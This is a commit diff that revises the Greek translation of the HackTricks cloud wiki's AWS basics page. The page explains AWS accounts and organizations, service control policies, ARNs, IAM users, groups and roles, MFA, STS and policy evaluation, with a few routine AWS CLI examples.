mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-09 22:30:47 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -8,26 +8,26 @@
|
||||
|
||||
### Λογαριασμοί
|
||||
|
||||
Στο AWS υπάρχει ένας **λογαριασμός root,** ο οποίος είναι ο **γονικός κάδος για όλους τους λογαριασμούς** της **οργάνωσής** σας. Ωστόσο, δεν χρειάζεται να χρησιμοποιήσετε αυτόν τον λογαριασμό για να αναπτύξετε πόρους, μπορείτε να δημιουργήσετε **άλλους λογαριασμούς για να διαχωρίσετε διαφορετικές υποδομές AWS** μεταξύ τους.
|
||||
Στο AWS υπάρχει ένας **root account,** ο οποίος είναι ο **γονικός κάδος για όλους τους λογαριασμούς** της **οργάνωσής** σας. Ωστόσο, δεν χρειάζεται να χρησιμοποιήσετε αυτόν τον λογαριασμό για να αναπτύξετε πόρους, μπορείτε να δημιουργήσετε **άλλους λογαριασμούς για να διαχωρίσετε διαφορετικές υποδομές AWS** μεταξύ τους.
|
||||
|
||||
Αυτό είναι πολύ ενδιαφέρον από την **οπτική της ασφάλειας**, καθώς **ένας λογαριασμός δεν θα μπορεί να έχει πρόσβαση σε πόρους άλλου λογαριασμού** (εκτός αν έχουν δημιουργηθεί συγκεκριμένες γέφυρες), έτσι μπορείτε να δημιουργήσετε όρια μεταξύ των αναπτύξεων.
|
||||
Αυτό είναι πολύ ενδιαφέρον από την **οπτική της ασφάλειας**, καθώς **ένας λογαριασμός δεν θα μπορεί να έχει πρόσβαση σε πόρους άλλου λογαριασμού** (εκτός αν δημιουργηθούν συγκεκριμένες γέφυρες), έτσι μπορείτε να δημιουργήσετε όρια μεταξύ των αναπτύξεων.
|
||||
|
||||
Επομένως, υπάρχουν **δύο τύποι λογαριασμών σε μια οργάνωση** (μιλάμε για λογαριασμούς AWS και όχι λογαριασμούς Χρήστη): ένας μόνο λογαριασμός που έχει οριστεί ως ο λογαριασμός διαχείρισης και ένας ή περισσότεροι λογαριασμοί μελών.
|
||||
Επομένως, υπάρχουν **δύο τύποι λογαριασμών σε μια οργάνωση** (μιλάμε για λογαριασμούς AWS και όχι λογαριασμούς Χρήστη): ένας μόνο λογαριασμός που έχει οριστεί ως ο λογαριασμός διαχείρισης, και ένας ή περισσότεροι λογαριασμοί μελών.
|
||||
|
||||
- Ο **λογαριασμός διαχείρισης (ο λογαριασμός root)** είναι ο λογαριασμός που χρησιμοποιείτε για να δημιουργήσετε την οργάνωση. Από τον λογαριασμό διαχείρισης της οργάνωσης, μπορείτε να κάνετε τα εξής:
|
||||
- Ο **λογαριασμός διαχείρισης (ο root account)** είναι ο λογαριασμός που χρησιμοποιείτε για να δημιουργήσετε την οργάνωση. Από τον λογαριασμό διαχείρισης της οργάνωσης, μπορείτε να κάνετε τα εξής:
|
||||
|
||||
- Δημιουργία λογαριασμών στην οργάνωση
|
||||
- Πρόσκληση άλλων υπαρχόντων λογαριασμών στην οργάνωση
|
||||
- Αφαίρεση λογαριασμών από την οργάνωση
|
||||
- Διαχείριση προσκλήσεων
|
||||
- Εφαρμογή πολιτικών σε οντότητες (roots, OUs ή λογαριασμούς) εντός της οργάνωσης
|
||||
- Εφαρμογή πολιτικών σε οντότητες (roots, OUs, ή λογαριασμούς) εντός της οργάνωσης
|
||||
- Ενεργοποίηση ενσωμάτωσης με υποστηριζόμενες υπηρεσίες AWS για να παρέχετε λειτουργικότητα υπηρεσιών σε όλους τους λογαριασμούς στην οργάνωση.
|
||||
- Είναι δυνατή η σύνδεση ως χρήστης root χρησιμοποιώντας το email και τον κωδικό πρόσβασης που χρησιμοποιήθηκαν για τη δημιουργία αυτού του λογαριασμού/οργάνωσης root.
|
||||
- Είναι δυνατή η σύνδεση ως root χρήστης χρησιμοποιώντας το email και τον κωδικό πρόσβασης που χρησιμοποιήθηκαν για τη δημιουργία αυτού του root account/οργάνωσης.
|
||||
|
||||
Ο λογαριασμός διαχείρισης έχει τις **ευθύνες ενός λογαριασμού πληρωμής** και είναι υπεύθυνος για την πληρωμή όλων των χρεώσεων που προκύπτουν από τους λογαριασμούς μελών. Δεν μπορείτε να αλλάξετε τον λογαριασμό διαχείρισης μιας οργάνωσης.
|
||||
|
||||
- Οι **λογαριασμοί μελών** αποτελούν όλους τους υπόλοιπους λογαριασμούς σε μια οργάνωση. Ένας λογαριασμός μπορεί να είναι μέλος μόνο μιας οργάνωσης τη φορά. Μπορείτε να επισυνάψετε μια πολιτική σε έναν λογαριασμό για να εφαρμόσετε ελέγχους μόνο σε αυτόν τον έναν λογαριασμό.
|
||||
- Οι λογαριασμοί μέλη **πρέπει να χρησιμοποιούν μια έγκυρη διεύθυνση email** και μπορούν να έχουν ένα **όνομα**, γενικά δεν θα μπορούν να διαχειρίζονται την τιμολόγηση (αλλά μπορεί να τους δοθεί πρόσβαση σε αυτήν).
|
||||
- Οι **λογαριασμοί μελών** αποτελούν όλους τους υπόλοιπους λογαριασμούς σε μια οργάνωση. Ένας λογαριασμός μπορεί να είναι μέλος μόνο μιας οργάνωσης τη φορά. Μπορείτε να επισυνάψετε μια πολιτική σε έναν λογαριασμό για να εφαρμόσετε ελέγχους μόνο σε αυτόν τον λογαριασμό.
|
||||
- Οι λογαριασμοί μελών **πρέπει να χρησιμοποιούν μια έγκυρη διεύθυνση email** και μπορούν να έχουν ένα **όνομα**, γενικά δεν θα μπορούν να διαχειρίζονται την τιμολόγηση (αλλά μπορεί να τους δοθεί πρόσβαση σε αυτήν).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
@@ -38,37 +38,37 @@ aws organizations create-account --account-name testingaccount --email testingac
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Πολιτική Ελέγχου Υπηρεσιών (SCP)
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Μια **πολιτική ελέγχου υπηρεσιών (SCP)** είναι μια πολιτική που καθορίζει τις υπηρεσίες και τις ενέργειες που μπορούν να χρησιμοποιούν οι χρήστες και οι ρόλοι στους λογαριασμούς που επηρεάζει η SCP. Οι SCP είναι **παρόμοιες με τις πολιτικές δικαιωμάτων IAM** εκτός από το ότι **δεν παρέχουν κανένα δικαίωμα**. Αντίθετα, οι SCP καθορίζουν τα **μέγιστα δικαιώματα** για έναν οργανισμό, μια οργανωτική μονάδα (OU) ή έναν λογαριασμό. Όταν συνδέετε μια SCP στη ρίζα του οργανισμού σας ή σε μια OU, η **SCP περιορίζει τα δικαιώματα για οντότητες σε μέλη λογαριασμών**.
|
||||
Μια **service control policy (SCP)** είναι μια πολιτική που καθορίζει τις υπηρεσίες και τις ενέργειες που μπορούν να χρησιμοποιούν οι χρήστες και οι ρόλοι στους λογαριασμούς που επηρεάζει η SCP. Οι SCP είναι **παρόμοιες με τις πολιτικές δικαιωμάτων IAM** εκτός από το ότι **δεν παρέχουν κανένα δικαίωμα**. Αντίθετα, οι SCP καθορίζουν τα **μέγιστα δικαιώματα** για έναν οργανισμό, οργανωτική μονάδα (OU) ή λογαριασμό. Όταν συνδέετε μια SCP στη ρίζα του οργανισμού σας ή σε μια OU, η **SCP περιορίζει τα δικαιώματα για τις οντότητες στους λογαριασμούς μελών**.
|
||||
|
||||
Αυτή είναι η ΜΟΝΗ τρόπος που **ακόμα και ο χρήστης ρίζας μπορεί να σταματήσει** να κάνει κάτι. Για παράδειγμα, θα μπορούσε να χρησιμοποιηθεί για να σταματήσει τους χρήστες από το να απενεργοποιούν το CloudTrail ή να διαγράφουν αντίγραφα ασφαλείας.\
|
||||
Ο μόνος τρόπος για να παρακαμφθεί αυτό είναι να παραβιαστεί επίσης ο **κύριος λογαριασμός** που ρυθμίζει τις SCP (ο κύριος λογαριασμός δεν μπορεί να αποκλειστεί).
|
||||
Ο μόνος τρόπος να παρακαμφθεί αυτό είναι να παραβιαστεί επίσης ο **κύριος λογαριασμός** που ρυθμίζει τις SCP (ο κύριος λογαριασμός δεν μπορεί να αποκλειστεί).
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **οι SCP περιορίζουν μόνο τους κύριους στο λογαριασμό**, οπότε άλλοι λογαριασμοί δεν επηρεάζονται. Αυτό σημαίνει ότι η ύπαρξη μιας SCP που αρνείται το `s3:GetObject` δεν θα σταματήσει τους ανθρώπους από το **να έχουν πρόσβαση σε ένα δημόσιο S3 bucket** στον λογαριασμό σας.
|
||||
> Σημειώστε ότι **οι SCP περιορίζουν μόνο τους κύριους στον λογαριασμό**, επομένως άλλοι λογαριασμοί δεν επηρεάζονται. Αυτό σημαίνει ότι η ύπαρξη μιας SCP που αρνείται το `s3:GetObject` δεν θα σταματήσει τους ανθρώπους από το **να έχουν πρόσβαση σε ένα δημόσιο S3 bucket** στον λογαριασμό σας.
|
||||
|
||||
Παραδείγματα SCP:
|
||||
|
||||
- Απαγόρευση του λογαριασμού ρίζας εντελώς
|
||||
- Αρνηθείτε εντελώς τον λογαριασμό ρίζας
|
||||
- Επιτρέψτε μόνο συγκεκριμένες περιοχές
|
||||
- Επιτρέψτε μόνο υπηρεσίες που έχουν λευκωθεί
|
||||
- Απαγόρευση του GuardDuty, CloudTrail και S3 Public Block Access από
|
||||
- Επιτρέψτε μόνο υπηρεσίες που έχουν λευκή λίστα
|
||||
- Αρνηθείτε την πρόσβαση στο GuardDuty, CloudTrail και S3 Public Block Access από
|
||||
|
||||
να απενεργοποιηθούν
|
||||
|
||||
- Απαγόρευση ρόλων ασφάλειας/αντίκτυπου από το να διαγραφούν ή
|
||||
- Αρνηθείτε τους ρόλους ασφάλειας/αντίκτυπου από το να διαγραφούν ή
|
||||
|
||||
να τροποποιηθούν.
|
||||
|
||||
- Απαγόρευση διαγραφής αντιγράφων ασφαλείας.
|
||||
- Απαγόρευση δημιουργίας χρηστών IAM και κλειδιών πρόσβασης
|
||||
- Αρνηθείτε τα αντίγραφα ασφαλείας από το να διαγραφούν.
|
||||
- Αρνηθείτε τη δημιουργία χρηστών IAM και κλειδιών πρόσβασης
|
||||
|
||||
Βρείτε **παραδείγματα JSON** στο [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Το Όνομα Πόρου της Amazon** είναι το **μοναδικό όνομα** που έχει κάθε πόρος μέσα στο AWS, είναι διαρθρωμένο ως εξής:
|
||||
**Amazon Resource Name** είναι το **μοναδικό όνομα** που έχει κάθε πόρος μέσα στο AWS, είναι διαμορφωμένο ως εξής:
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
@@ -88,21 +88,21 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
- **Authorization** - Καθορίζει τι μπορεί να έχει πρόσβαση μια ταυτότητα μέσα σε ένα σύστημα μόλις έχει επαληθευτεί σε αυτό.
|
||||
- **Access Control** - Η μέθοδος και η διαδικασία με την οποία παρέχεται πρόσβαση σε έναν ασφαλή πόρο.
|
||||
|
||||
Το IAM μπορεί να οριστεί από την ικανότητά του να διαχειρίζεται, ελέγχει και κυβερνά τους μηχανισμούς αυθεντικοποίησης, εξουσιοδότησης και ελέγχου πρόσβασης ταυτοτήτων στους πόρους σας μέσα στον λογαριασμό σας στο AWS.
|
||||
Το IAM μπορεί να οριστεί από την ικανότητά του να διαχειρίζεται, ελέγχει και κυβερνά τους μηχανισμούς επαλήθευσης, εξουσιοδότησης και ελέγχου πρόσβασης ταυτοτήτων στους πόρους σας μέσα στον λογαριασμό σας στο AWS.
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Όταν δημιουργείτε για πρώτη φορά έναν λογαριασμό Amazon Web Services (AWS), ξεκινάτε με μια μοναδική ταυτότητα σύνδεσης που έχει **πλήρη πρόσβαση σε όλες** τις υπηρεσίες και τους πόρους AWS στον λογαριασμό. Αυτή είναι η _**root user**_ του λογαριασμού AWS και αποκτάται με την είσοδο με τη **διεύθυνση email και τον κωδικό πρόσβασης που χρησιμοποιήσατε για να δημιουργήσετε τον λογαριασμό**.
|
||||
|
||||
Σημειώστε ότι ένας νέος **admin user** θα έχει **λιγότερες άδειες από την root user**.
|
||||
Σημειώστε ότι ένας νέος **admin user** θα έχει **λιγότερες άδειες από τον root user**.
|
||||
|
||||
Από άποψη ασφάλειας, συνιστάται να δημιουργήσετε άλλους χρήστες και να αποφύγετε τη χρήση αυτού.
|
||||
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Ένας _χρήστης_ IAM είναι μια οντότητα που δημιουργείτε στο AWS για να **αντιπροσωπεύει το άτομο ή την εφαρμογή** που το χρησιμοποιεί για να **αλληλεπιδράσει με το AWS**. Ένας χρήστης στο AWS αποτελείται από ένα όνομα και διαπιστευτήρια (κωδικός πρόσβασης και έως δύο κλειδιά πρόσβασης).
|
||||
Ένας _user_ IAM είναι μια οντότητα που δημιουργείτε στο AWS για να **αντιπροσωπεύει το άτομο ή την εφαρμογή** που το χρησιμοποιεί για να **αλληλεπιδράσει με το AWS**. Ένας χρήστης στο AWS αποτελείται από ένα όνομα και διαπιστευτήρια (κωδικός πρόσβασης και έως δύο κλειδιά πρόσβασης).
|
||||
|
||||
Όταν δημιουργείτε έναν χρήστη IAM, του παρέχετε **άδειες** κάνοντάς τον **μέλος μιας ομάδας χρηστών** που έχει κατάλληλες πολιτικές αδειών συνημμένες (συνιστάται), ή **συνημμένα πολιτικές** απευθείας στον χρήστη.
|
||||
Όταν δημιουργείτε έναν χρήστη IAM, του παρέχετε **άδειες** κάνοντάς τον **μέλος μιας ομάδας χρηστών** που έχει συνημμένες κατάλληλες πολιτικές αδειών (συνιστάται), ή **συνημμένα πολιτικές** απευθείας στον χρήστη.
|
||||
|
||||
Οι χρήστες μπορούν να έχουν **ενεργοποιημένο MFA για σύνδεση** μέσω της κονσόλας. Τα API tokens των χρηστών με ενεργοποιημένο MFA δεν προστατεύονται από το MFA. Εάν θέλετε να **περιορίσετε την πρόσβαση των κλειδιών API ενός χρήστη χρησιμοποιώντας MFA**, πρέπει να υποδείξετε στην πολιτική ότι για να εκτελούνται ορισμένες ενέργειες πρέπει να είναι παρόν το MFA (παράδειγμα [**εδώ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
@@ -111,13 +111,13 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
- **Access Key ID**: 20 τυχαίοι χαρακτήρες αλφαριθμητικούς κεφαλαίους όπως AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 τυχαίοι χαρακτήρες κεφαλαίους και πεζούς: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Δεν είναι δυνατή η ανάκτηση χαμένων κωδικών πρόσβασης).
|
||||
|
||||
Όποτε χρειάζεστε να **αλλάξετε το Access Key**, αυτή είναι η διαδικασία που πρέπει να ακολουθήσετε:\
|
||||
&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
Όποτε χρειάζεται να **αλλάξετε το Access Key**, αυτή είναι η διαδικασία που πρέπει να ακολουθήσετε:\
|
||||
_Δημιουργήστε ένα νέο access key -> Εφαρμόστε το νέο κλειδί στο σύστημα/εφαρμογή -> σημειώστε το αρχικό ως ανενεργό -> Δοκιμάστε και επαληθεύστε ότι το νέο access key λειτουργεί -> Διαγράψτε το παλιό access key_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
Χρησιμοποιείται για να **δημιουργήσει έναν επιπλέον παράγοντα για την αυθεντικοποίηση** εκτός από τις υπάρχουσες μεθόδους σας, όπως ο κωδικός πρόσβασης, δημιουργώντας έτσι ένα επίπεδο πολλαπλής αυθεντικοποίησης.\
|
||||
Μπορείτε να χρησιμοποιήσετε μια **δωρεάν εικονική εφαρμογή ή μια φυσική συσκευή**. Μπορείτε να χρησιμοποιήσετε εφαρμογές όπως το google authentication δωρεάν για να ενεργοποιήσετε ένα MFA στο AWS.
|
||||
Χρησιμοποιείται για να **δημιουργήσει έναν επιπλέον παράγοντα για την επαλήθευση** εκτός από τις υπάρχουσες μεθόδους σας, όπως ο κωδικός πρόσβασης, δημιουργώντας έτσι ένα επίπεδο πολλαπλής επαλήθευσης.\
|
||||
Μπορείτε να χρησιμοποιήσετε μια **δωρεάν εικονική εφαρμογή ή μια φυσική συσκευή**. Μπορείτε να χρησιμοποιήσετε εφαρμογές όπως η Google Authentication δωρεάν για να ενεργοποιήσετε το MFA στο AWS.
|
||||
|
||||
Πολιτικές με συνθήκες MFA μπορούν να συνημμένες στα εξής:
|
||||
|
||||
@@ -126,7 +126,7 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
- Η πολιτική εμπιστοσύνης ενός IAM role που μπορεί να αναληφθεί από έναν χρήστη
|
||||
|
||||
Εάν θέλετε να **έχετε πρόσβαση μέσω CLI** σε έναν πόρο που **ελέγχει για MFA**, πρέπει να καλέσετε **`GetSessionToken`**. Αυτό θα σας δώσει ένα token με πληροφορίες σχετικά με το MFA.\
|
||||
Σημειώστε ότι **`AssumeRole` credentials δεν περιέχουν αυτές τις πληροφορίες**.
|
||||
Σημειώστε ότι **τα διαπιστευτήρια `AssumeRole` δεν περιέχουν αυτές τις πληροφορίες**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
@@ -136,24 +136,24 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
|
||||
Μια ομάδα [χρηστών IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) είναι ένας τρόπος για να **συνδέσετε πολιτικές σε πολλούς χρήστες** ταυτόχρονα, γεγονός που μπορεί να διευκολύνει τη διαχείριση των δικαιωμάτων για αυτούς τους χρήστες. **Οι ρόλοι και οι ομάδες δεν μπορούν να είναι μέρος μιας ομάδας**.
|
||||
|
||||
Μπορείτε να συνδέσετε μια **πολιτική βάσει ταυτότητας σε μια ομάδα χρηστών** έτσι ώστε όλοι οι **χρήστες** στην ομάδα χρηστών **να λαμβάνουν τα δικαιώματα της πολιτικής**. **Δεν μπορείτε** να προσδιορίσετε μια **ομάδα χρηστών** ως **`Principal`** σε μια **πολιτική** (όπως μια πολιτική βάσης πόρων) επειδή οι ομάδες σχετίζονται με δικαιώματα, όχι με αυθεντικοποίηση, και οι principals είναι αυθεντικοποιημένες οντότητες IAM.
|
||||
Μπορείτε να συνδέσετε μια **πολιτική βάσει ταυτότητας σε μια ομάδα χρηστών** έτσι ώστε όλοι οι **χρήστες** στην ομάδα χρηστών **να λαμβάνουν τα δικαιώματα της πολιτικής**. **Δεν μπορείτε** να προσδιορίσετε μια **ομάδα χρηστών** ως **`Principal`** σε μια **πολιτική** (όπως μια πολιτική βάσης πόρων) επειδή οι ομάδες σχετίζονται με τα δικαιώματα, όχι με την αυθεντικοποίηση, και οι principals είναι αυθεντικοποιημένες οντότητες IAM.
|
||||
|
||||
Ακολουθούν μερικά σημαντικά χαρακτηριστικά των ομάδων χρηστών:
|
||||
|
||||
- Μια **ομάδα** χρηστών μπορεί να **περιέχει πολλούς χρήστες**, και ένας **χρήστης** μπορεί να **ανήκει σε πολλές ομάδες**.
|
||||
- **Οι ομάδες χρηστών δεν μπορούν να είναι φωλιασμένες**; μπορούν να περιέχουν μόνο χρήστες, όχι άλλες ομάδες χρηστών.
|
||||
- Δεν υπάρχει **καμία προεπιλεγμένη ομάδα χρηστών που να περιλαμβάνει αυτόματα όλους τους χρήστες στον λογαριασμό AWS**. Εάν θέλετε να έχετε μια ομάδα χρηστών όπως αυτή, πρέπει να τη δημιουργήσετε και να αναθέσετε κάθε νέο χρήστη σε αυτήν.
|
||||
- Δεν υπάρχει **προεπιλεγμένη ομάδα χρηστών που να περιλαμβάνει αυτόματα όλους τους χρήστες στον λογαριασμό AWS**. Εάν θέλετε να έχετε μια ομάδα χρηστών όπως αυτή, πρέπει να τη δημιουργήσετε και να αναθέσετε κάθε νέο χρήστη σε αυτήν.
|
||||
- Ο αριθμός και το μέγεθος των πόρων IAM σε έναν λογαριασμό AWS, όπως ο αριθμός των ομάδων και ο αριθμός των ομάδων στις οποίες μπορεί να είναι μέλος ένας χρήστης, είναι περιορισμένα. Για περισσότερες πληροφορίες, δείτε [ποσοστά IAM και AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [Ρόλοι IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Ένας ρόλος IAM είναι πολύ **παρόμοιος** με έναν **χρήστη**, καθώς είναι μια **ταυτότητα με πολιτικές δικαιωμάτων που καθορίζουν τι** μπορεί και δεν μπορεί να κάνει στο AWS. Ωστόσο, ένας ρόλος **δεν έχει καμία διαπιστευτήρια** (κωδικό πρόσβασης ή κλειδιά πρόσβασης) που να σχετίζονται με αυτόν. Αντί να είναι μοναδικά συνδεδεμένος με ένα άτομο, ένας ρόλος προορίζεται να είναι **αναλαμβανόμενος από οποιονδήποτε τον χρειάζεται (και έχει αρκετά δικαιώματα)**. Ένας **χρήστης IAM μπορεί να αναλάβει έναν ρόλο για να** αποκτήσει προσωρινά διαφορετικά δικαιώματα για μια συγκεκριμένη εργασία. Ένας ρόλος μπορεί να **ανατεθεί σε έναν** [**ομοσπονδωμένο χρήστη**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) που συνδέεται χρησιμοποιώντας έναν εξωτερικό πάροχο ταυτότητας αντί για IAM.
|
||||
Ένας **ρόλος IAM** είναι πολύ **παρόμοιος** με έναν **χρήστη**, καθώς είναι μια **ταυτότητα με πολιτικές δικαιωμάτων που καθορίζουν τι** μπορεί και δεν μπορεί να κάνει στο AWS. Ωστόσο, ένας ρόλος **δεν έχει καμία διαπιστευτήρια** (κωδικό πρόσβασης ή κλειδιά πρόσβασης) που να σχετίζονται με αυτόν. Αντί να είναι μοναδικά συνδεδεμένος με ένα άτομο, ένας ρόλος προορίζεται να είναι **αναλαμβανόμενος από οποιονδήποτε τον χρειάζεται (και έχει αρκετά δικαιώματα)**. Ένας **χρήστης IAM μπορεί να αναλάβει έναν ρόλο για να** αποκτήσει προσωρινά διαφορετικά δικαιώματα για μια συγκεκριμένη εργασία. Ένας ρόλος μπορεί να **ανατεθεί σε έναν** [**ομοσπονδωμένο χρήστη**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) που συνδέεται χρησιμοποιώντας έναν εξωτερικό πάροχο ταυτότητας αντί για IAM.
|
||||
|
||||
Ένας ρόλος IAM αποτελείται από **δύο τύπους πολιτικών**: Μια **πολιτική εμπιστοσύνης**, η οποία δεν μπορεί να είναι κενή, καθορίζοντας **ποιος μπορεί να αναλάβει** τον ρόλο, και μια **πολιτική δικαιωμάτων**, η οποία δεν μπορεί να είναι κενή, καθορίζοντας **τι μπορεί να προσπελάσει**.
|
||||
|
||||
#### Υπηρεσία ασφαλείας διακριτικών AWS (STS)
|
||||
#### Υπηρεσία Ασφαλών Διακριτικών AWS (STS)
|
||||
|
||||
Η Υπηρεσία ασφαλείας διακριτικών AWS (STS) είναι μια διαδικτυακή υπηρεσία που διευκολύνει την **έκδοση προσωρινών, περιορισμένων διαπιστευτηρίων**. Είναι ειδικά προσαρμοσμένη για:
|
||||
Η Υπηρεσία Ασφαλών Διακριτικών AWS (STS) είναι μια διαδικτυακή υπηρεσία που διευκολύνει την **έκδοση προσωρινών, περιορισμένων διαπιστευτηρίων**. Είναι ειδικά προσαρμοσμένη για:
|
||||
|
||||
### [Προσωρινά διαπιστευτήρια στο IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
@@ -166,10 +166,10 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
Χρησιμοποιούνται για την ανάθεση δικαιωμάτων. Υπάρχουν 2 τύποι:
|
||||
|
||||
- Πολιτικές διαχείρισης AWS (προρυθμισμένες από την AWS)
|
||||
- Πολιτικές διαχείρισης πελατών: Ρυθμισμένες από εσάς. Μπορείτε να δημιουργήσετε πολιτικές με βάση τις πολιτικές διαχείρισης AWS (τροποποιώντας μία από αυτές και δημιουργώντας τη δική σας), χρησιμοποιώντας τον γεννήτρια πολιτικών (μια GUI προβολή που σας βοηθά να παραχωρείτε και να αρνείστε δικαιώματα) ή γράφοντας τη δική σας.
|
||||
- Πολιτικές διαχείρισης πελατών: Ρυθμισμένες από εσάς. Μπορείτε να δημιουργήσετε πολιτικές βασισμένες σε πολιτικές διαχείρισης AWS (τροποποιώντας μία από αυτές και δημιουργώντας τη δική σας), χρησιμοποιώντας τον γεννήτρια πολιτικών (μια GUI προβολή που σας βοηθά να παραχωρείτε και να αρνείστε δικαιώματα) ή γράφοντας τη δική σας.
|
||||
|
||||
Κατά **προεπιλογή, η πρόσβαση** είναι **αρνητική**, η πρόσβαση θα παραχωρηθεί εάν έχει καθοριστεί ρητά ένας ρόλος.\
|
||||
Εάν **υπάρχει μία μόνο "Άρνηση", θα υπερισχύσει της "Άδειας"**, εκτός από αιτήματα που χρησιμοποιούν τα διαπιστευτήρια ασφαλείας του ριζικού λογαριασμού AWS (τα οποία επιτρέπονται από προεπιλογή).
|
||||
Εάν **υπάρχει μία μόνο "Άρνηση", θα υπερισχύσει της "Άδειας"**, εκτός από αιτήματα που χρησιμοποιούν τα διαπιστευτήρια ασφαλείας του ριζικού λογαριασμού AWS (τα οποία επιτρέπονται κατά προεπιλογή).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -192,8 +192,8 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
]
|
||||
}
|
||||
```
|
||||
Τα [παγκόσμια πεδία που μπορούν να χρησιμοποιηθούν για συνθήκες σε οποιαδήποτε υπηρεσία τεκμηριώνονται εδώ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
Τα [συγκεκριμένα πεδία που μπορούν να χρησιμοποιηθούν για συνθήκες ανά υπηρεσία τεκμηριώνονται εδώ](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
Τα [παγκόσμια πεδία που μπορούν να χρησιμοποιηθούν για συνθήκες σε οποιαδήποτε υπηρεσία είναι τεκμηριωμένα εδώ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
|
||||
Τα [συγκεκριμένα πεδία που μπορούν να χρησιμοποιηθούν για συνθήκες ανά υπηρεσία είναι τεκμηριωμένα εδώ](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
|
||||
|
||||
#### Inline Policies
|
||||
|
||||
@@ -202,21 +202,21 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Αυτές είναι **πολιτικές** που μπορούν να οριστούν σε **πόρους**. **Όλοι οι πόροι του AWS δεν τις υποστηρίζουν**.
|
||||
Αυτές είναι **πολιτικές** που μπορούν να οριστούν σε **πόρους**. **Όχι όλοι οι πόροι του AWS τις υποστηρίζουν**.
|
||||
|
||||
Εάν μια κύρια οντότητα δεν έχει ρητή άρνηση γι' αυτές, και μια πολιτική πόρου τους παραχωρεί πρόσβαση, τότε επιτρέπεται.
|
||||
Εάν μια κύρια οντότητα δεν έχει ρητή άρνηση σε αυτές, και μια πολιτική πόρου τους παραχωρεί πρόσβαση, τότε επιτρέπεται.
|
||||
|
||||
### IAM Boundaries
|
||||
|
||||
Οι όρια IAM μπορούν να χρησιμοποιηθούν για να **περιορίσουν τις άδειες που πρέπει να έχει πρόσβαση ένας χρήστης ή ρόλος**. Με αυτόν τον τρόπο, ακόμη και αν παραχωρηθεί ένα διαφορετικό σύνολο αδειών στον χρήστη από μια **διαφορετική πολιτική**, η λειτουργία θα **αποτύχει** αν προσπαθήσει να τις χρησιμοποιήσει.
|
||||
|
||||
Ένα όριο είναι απλώς μια πολιτική που συνδέεται με έναν χρήστη και **υποδεικνύει το μέγιστο επίπεδο αδειών που μπορεί να έχει ο χρήστης ή ο ρόλος**. Έτσι, **ακόμη και αν ο χρήστης έχει πρόσβαση Διαχειριστή**, αν το όριο υποδεικνύει ότι μπορεί να διαβάσει μόνο S· buckets, αυτό είναι το μέγιστο που μπορεί να κάνει.
|
||||
Ένα όριο είναι απλώς μια πολιτική που συνδέεται με έναν χρήστη και **υποδεικνύει το μέγιστο επίπεδο αδειών που μπορεί να έχει ο χρήστης ή ο ρόλος**. Έτσι, **ακόμη και αν ο χρήστης έχει πρόσβαση Διαχειριστή**, αν το όριο υποδεικνύει ότι μπορεί μόνο να διαβάσει S· buckets, αυτό είναι το μέγιστο που μπορεί να κάνει.
|
||||
|
||||
